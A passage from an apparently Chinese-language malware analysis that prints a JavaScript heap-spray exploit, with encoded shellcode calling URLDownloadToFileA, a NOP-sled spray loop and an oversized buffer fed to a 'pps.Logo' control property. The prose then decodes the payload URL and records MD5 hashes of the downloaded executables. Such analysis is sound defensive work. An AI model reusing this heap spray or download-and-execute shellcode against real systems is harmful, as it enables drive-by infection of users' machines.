"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u62
2f%u2f62%u7070%u2e73%u7865%u0065");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<400; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500) buffer+="\x0a\x0a\x0a\x0a";
pps.Logo = buffer
```

又是 shellcode，如法炮制，得到了它对应的可执行文件路径：

```
http://down.18dd.net/bb/pps.exe
```

呵呵，现在 EXE 文件开始大量出现了。至于那个 cab 压缩文件，自然不用说，解压缩之，得

到一个叫 bd.exe 文件。再将先前的三个文件做 Hash 下载。

```
MD5(http://down.18dd.net/bb/014.exe,32) = ca4e4a1730b0f69a9b94393d9443b979
MD5(http://down.18dd.net/bb/bf.exe,32) = 268cbd59fbed235f6cf6b41b92b03f8e
MD5(http://down.18dd.net/bb/pps.exe,32) = ff59b3b8961f502289c1b4df8c37e2a4
```

于是我们有了四个 exe 文件，即 014.exe，bf.exe，pps.exe，bd.exe。更重要的是，我们发现这四个文件在资源管理器中显示出同样的大小。进一步对文件内容进行 MD5 散列计算得出结论，这四个文件内容完全相同！任务量减少到四分之一。

至此，分析已经完全进入了可执行文件时代。